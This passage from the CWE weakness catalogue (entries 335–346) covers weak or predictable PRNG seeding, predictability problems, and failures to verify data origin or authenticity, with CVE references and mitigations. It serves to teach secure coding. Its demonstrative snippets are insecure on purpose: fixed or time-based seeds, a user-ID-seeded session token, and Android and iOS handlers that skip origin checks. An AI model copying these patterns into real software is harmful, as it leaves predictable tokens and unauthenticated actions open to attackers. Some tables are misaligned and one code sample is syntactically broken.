Architecture and Design

Requirements

Libraries or Frameworks
- Use products or modules that conform to FIPS 140-2 [R.334.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Relationships
CWE Version 2.11
CWE-335: PRNG Seed Error

Weakness ID: 335 (Weakness Class) Status: Draft

Description

Summary
A Pseudo-Random Number Generator (PRNG) uses seeds incorrectly.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Other
Bypass protection mechanism
Other
if a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699  582</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888  1333</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>336</td>
<td>Same Seed in PRNG</td>
<td>699  593</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
<td>699  594</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
<td>699  596</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884  1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Small Space of Random Values</td>
</tr>
</tbody>
</table>

References


CWE-336: Same Seed in PRNG

Weakness ID: 336 (Weakness Base)  Status: Draft

Description

Summary
A PRNG uses the same seed each time the product is initialized. If an attacker can guess (or knows) the seed, then he/she may be able to determine the "random" number produced from the PRNG.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Other
- Access Control
- Other
- Bypass protection mechanism

Demonstrative Examples

The following code uses a statistical PRNG to generate account IDs.

Java Example:

```java
private static final long SEED = 1234567890;
public int generateAccountID() {
    Random random = new Random(SEED);
    return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

Potential Mitigations

Architecture and Design
Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Architecture and Design

Requirements

Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [R.336.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>335</td>
<td></td>
<td>PRNG Seed Error</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>861</td>
<td></td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>1302</td>
</tr>
<tr>
<td>ChildOf</td>
<td>905</td>
<td></td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Same Seed in PRNG</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC02-J</td>
<td>Generate strong random numbers</td>
</tr>
</tbody>
</table>

References

CWE Version 2.11
CWE-337: Predictable Seed in PRNG


CWE-337: Predictable Seed in PRNG

<table>
<thead>
<tr>
<th>Weakness ID: 337</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

**Description**

**Summary**
A PRNG is initialized from a predictable seed, e.g. using process ID or system time.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
- All

**Languages**
- All

**Common Consequences**
- Other
  - Varies by context

**Demonstrative Examples**
Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

**Java Example:**
```java
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

**C/C++ Example:**
```c
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

**Potential Mitigations**
Use non-predictable inputs for seed generation.

**Architecture and Design**
- Requirements
  - Libraries or Frameworks
    - Use products or modules that conform to FIPS 140-2 [R.337.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Implementation**
Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>335</td>
<td>PRNG Seed Error</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Predictable Seed in PRNG</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC02-J</td>
<td>Generate strong random numbers</td>
</tr>
</tbody>
</table>
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Weakness ID: 338 (Weakness Base) Status: Draft

Description

Summary
The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG is not cryptographically strong.

Extended Description
When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms which use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• Language-independent

Common Consequences

Access Control
Bypass protection mechanism
If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.

Likelihood of Exploit
Medium

Demonstrative Examples
Both of these examples use a statistical PRNG to generate a random number:

Java Example:
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();

C/C++ Example:
srand(time());
int randNum = rand();

The random number functions used in these examples, rand() and Random.nextInt(), are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-0166</td>
<td>SSL library uses a weak random number generator that only generates 65,536 unique keys.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-339: Small Seed Space in PRNG

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-2367</td>
<td>Web application generates predictable session IDs, allowing session hijacking.</td>
</tr>
<tr>
<td>CVE-2009-3238</td>
<td>Random number generator can repeatedly generate the same value.</td>
</tr>
<tr>
<td>CVE-2009-3278</td>
<td>Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CryptGenRandom on Windows, or hw_rand() on Linux.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699 582</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>1000 1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888 1333</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Non-cryptographic PRNG</td>
</tr>
</tbody>
</table>

**References**


---

**CWE-339: Small Seed Space in PRNG**

**Weakness ID:** 339 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

A PRNG uses a relatively small space of seeds.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Other**

Varies by context

**Potential Mitigations**

**Architecture and Design**

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

**Architecture and Design Requirements**

**Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.339.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>335</td>
<td>PRNG Seed Error</td>
<td>699 592</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>335</td>
<td>PRNG Seed Error</td>
<td>1000 1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>341</td>
<td>Predictable from Observable State</td>
<td>1000 597</td>
</tr>
</tbody>
</table>
CWE-340: Predictability Problems

**Summary**
Weaknesses in this category are related to schemes that generate numbers or identifiers that are more predictable than required by the application.

**Time of Introduction**
- Architecture and Design
- Implementation

**Common Consequences**
- Other
  - Varies by context

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>V</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
</tr>
<tr>
<td>WASC</td>
<td>Brute Force</td>
</tr>
</tbody>
</table>

**References**

**Maintenance Notes**
This entry overlaps predictable from observable state (CWE-341).

---

CWE-341: Predictable from Observable State

**Summary**
A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
Other

Varies by context

This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.

Demonstrative Examples

This code generates a unique random identifier for a user's session.

**PHP Example:**

```php
function generateSessionID($userID)
{
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session. This example also exhibits a Small Seed Space (CWE-339).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0335</td>
<td>DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.</td>
</tr>
<tr>
<td>CVE-2001-1141</td>
<td>PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.</td>
</tr>
<tr>
<td>CVE-2002-0389</td>
<td>Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives.</td>
</tr>
<tr>
<td>CVE-2005-1636</td>
<td>MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Implementation**

Increase the entropy used to seed a PRNG.

**Architecture and Design**

**Requirements**

**Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.341.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Implementation**

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬅</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699  582</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬅</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888  1333</td>
</tr>
<tr>
<td>PeerOf</td>
<td>⬅</td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
<td>1000 596</td>
</tr>
<tr>
<td>MemberOf</td>
<td>⬗</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884  1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Predictable from Observable State</td>
</tr>
</tbody>
</table>

References
CWE-342: Predictable Exact Value from Previous Values

**Description**

**Summary**

An exact value or random number can be precisely predicted by observing previous values.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Other**

Varies by context

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0074</td>
<td>Listening TCP ports are sequentially allocated, allowing spoofing attacks.</td>
</tr>
<tr>
<td>CVE-1999-0077</td>
<td>Predictable TCP sequence numbers allow spoofing.</td>
</tr>
<tr>
<td>CVE-2000-0335</td>
<td>DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results.</td>
</tr>
<tr>
<td>CVE-2002-1463</td>
<td>Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Increase the entropy used to seed a PRNG.

**Architecture and Design**

**Requirements**

Use products or modules that conform to FIPS 140-2 [R.342.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Implementation**

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Predictable Exact Value from Previous Values</td>
</tr>
</tbody>
</table>

**References**


CWE-343: Predictable Value Range from Previous Values

CWE Version 2.11
CWE-343: Predictable Value Range from Previous Values

Weakness ID: 343 (Weakness Base) Status: Draft

Description

Summary
The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

Extended Description
The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Other
Varies by context

Potential Mitigations
Increase the entropy used to seed a PRNG.

Architecture and Design
Requirements
Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [R.343.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Implementation
Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Predictable Value Range from Previous Values</td>
</tr>
</tbody>
</table>

References

CWE-344: Use of Invariant Value in Dynamically Changing Context

Weakness ID: 344 (Weakness Base)  Status: Draft

Description

Summary

The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages

• All

Common Consequences

Other

Varies by context

Observed Examples

Reference | Description
---|---
CVE-2002-0980 | Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
<td>1333</td>
</tr>
<tr>
<td>ParentOf</td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
<td>1000</td>
<td>569</td>
</tr>
<tr>
<td>ParentOf</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
<td>1000</td>
<td>929</td>
</tr>
<tr>
<td>ParentOf</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>1000</td>
<td>1223</td>
</tr>
</tbody>
</table>

Relationship Notes

overlaps default configuration.

Relevant Properties

• Mutability
• Uniqueness

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Static Value in Unpredictable Context</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-345: Insufficient Verification of Data Authenticity

Weakness ID: 345 (Weakness Class)  Status: Draft

Description

Summary

The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

Time of Introduction
CWE Version 2.11
CWE-345: Insufficient Verification of Data Authenticity

- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Integrity
Other
Varies by context
Unexpected state

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>453</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>1376</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>B</td>
<td>283</td>
<td>Unverified Ownership</td>
<td>499</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>346</td>
<td>Origin Validation Error</td>
<td>603</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
<td>606</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>348</td>
<td>Use of Less Trusted Source</td>
<td>607</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
<td>608</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>351</td>
<td>Insufficient Type Distinction</td>
<td>611</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>612</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
<td>617</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>354</td>
<td>Improper Validation of Integrity Check Value</td>
<td>619</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>B</td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
<td>622</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>360</td>
<td>Trust of System Event Data</td>
<td>626</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>616</td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
<td>965</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>646</td>
<td>Reliance on File Name or Extension of Externally-Supplied File</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>649</td>
<td>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</td>
<td>1008</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>B</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
<td>1111</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>924</td>
<td>Improper Enforcement of Message Integrity During Transmission in a Communication Channel</td>
<td>1354</td>
</tr>
</tbody>
</table>

Relationship Notes
"origin validation" could fall under this.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Insufficient Verification of Data</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>WASC</td>
<td>12</td>
<td></td>
<td>Content Spoofing</td>
</tr>
</tbody>
</table>
**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>Using Alternative IP Address Encodings</td>
</tr>
<tr>
<td>111</td>
<td>JSON Hijacking (aka JavaScript Hijacking)</td>
</tr>
<tr>
<td>141</td>
<td>Cache Poisoning</td>
</tr>
<tr>
<td>142</td>
<td>DNS Cache Poisoning</td>
</tr>
<tr>
<td>148</td>
<td>Content Spoofing</td>
</tr>
<tr>
<td>218</td>
<td>Spoofing of UDDI/ebXML Messages</td>
</tr>
<tr>
<td>384</td>
<td>Application API Message Manipulation via Man-in-the-Middle</td>
</tr>
<tr>
<td>385</td>
<td>Transaction or Event Tampering via Application API Manipulation</td>
</tr>
<tr>
<td>386</td>
<td>Application API Navigation Remapping</td>
</tr>
<tr>
<td>387</td>
<td>Navigation Remapping To Propagate Malicious Content</td>
</tr>
<tr>
<td>388</td>
<td>Application API Button Hijacking</td>
</tr>
<tr>
<td>389</td>
<td>Content Spoofing Via Application API Manipulation</td>
</tr>
</tbody>
</table>

**References**


**Maintenance Notes**

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

**CWE-346: Origin Validation Error**

**Weakness ID:** 346 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software does not properly verify that the source of data or communication is valid.

**Terminology Notes**

The "Origin Validation Error" term was used by Taimur Aslam in his August 1995 thesis. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Access Control**

**Other**

Gain privileges / assume identity

Varies by context

An attacker can access any functionality that is inadvertently accessible to the source.

**Demonstrative Examples**

**Example 1:**
This Android application will remove a user account when it receives an intent to do so:

**Java Example:**

```java
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

**Example 2:**

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

**Java Example:**

```java
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

**Objective-C Example:**

```objective-c
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType {
    NSURL *URL = [exRequest URL];
    if ([URL scheme] isEqualToString:"exampleScheme")
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];}
    return NO;
}
return YES;
```

A call into native code can then be initiated by passing parameters within the URL:

**Javascript Example:**

```javascript
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Observed Examples**
### CWE-346: Origin Validation Error

**Reference**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1549</td>
<td>product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.</td>
</tr>
<tr>
<td>CVE-2000-1218</td>
<td>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</td>
</tr>
<tr>
<td>CVE-2001-1452</td>
<td>DNS server caches glue records received from non-delegated name servers</td>
</tr>
<tr>
<td>CVE-2003-0174</td>
<td>LDAP service does not verify if a particular attribute was set by the LDAP server</td>
</tr>
<tr>
<td>CVE-2003-0981</td>
<td>product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.</td>
</tr>
<tr>
<td>CVE-2005-0877</td>
<td>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</td>
</tr>
<tr>
<td>CVE-2005-2188</td>
